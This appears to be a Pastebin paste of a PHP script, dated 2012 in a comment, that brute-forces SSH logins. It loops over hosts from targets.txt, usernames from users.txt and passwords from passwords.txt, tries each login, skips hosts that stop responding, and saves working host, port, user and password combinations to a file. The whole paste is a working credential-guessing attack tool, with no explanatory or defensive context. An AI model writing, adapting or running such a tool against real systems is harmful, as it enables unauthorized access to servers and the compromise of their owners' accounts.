Guest User

Untitled

a guest
Jul 28th, 2018
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.42 KB | None | 0 0
  1. <?
  2. //qbert 2012
  3. error_reporting(0);
  4. //$opts = 't:u:p:';
  5. //$opts = getopt($opts);
  6. //$target = explode(':',$opts['t']);
  7. //$server = trim((string)$target[0]);
  8. //$port = (int)$target[1];
  9.  
  10.  
  11. $quit_after = 3; //consecutive failed connections.This way you won`t waste time on non-responsive/inactive connections.
  12.  
  13.  
  14. function check_server($server,$port,$user,$pass){
  15. global $status,$strstatus;
  16. $con = ssh2_connect($server,$port);
  17. if(!$con){
  18. print '[*]Connecting to ' . $server . ': Failed | Make sure the server is online.' . "\n";
  19. $status = 0;
  20. $strstatus .= '0';
  21. }
  22. else{
  23. print '[*]Connecting to ' . $server . ' : Succes:';
  24. if(!ssh2_auth_password($con,$user,$pass)){
  25. print 'bad login' . "\n";
  26. $status = 1;
  27. }
  28. else{
  29. print 'good login '. "\n";
  30. $status = 3;
  31. }
  32. }
  33. return $status;
  34. }
  35. foreach(file('targets.txt') as $target){
  36. $strstatus = '';
  37. $target = explode(':',$target);
  38. $server = trim((string)$target[0]);
  39. $port = (int)$target[1];
  40. foreach(file('users.txt') as $user){
  41. $user = trim($user);
  42. foreach(file('passwords.txt') as $pass){
  43. $pass = trim($pass);
  44. if(!is_int(strpos($strstatus,'000'))){
  45. check_server($server,$port,$user,$pass);
  46. }
  47. else{
  48. continue;
  49. }
  50. if($status == 3){
  51. file_put_contents('succes.txt',file_get_contents('succes.txt'). $server . ':' . $port . '=>' . $user . ':' . $pass . "\n");
  52. }
  53. unset($status);
  54. }
  55. }
  56.  
  57. }
  58. ?>
Add Comment
Please, Sign In to add comment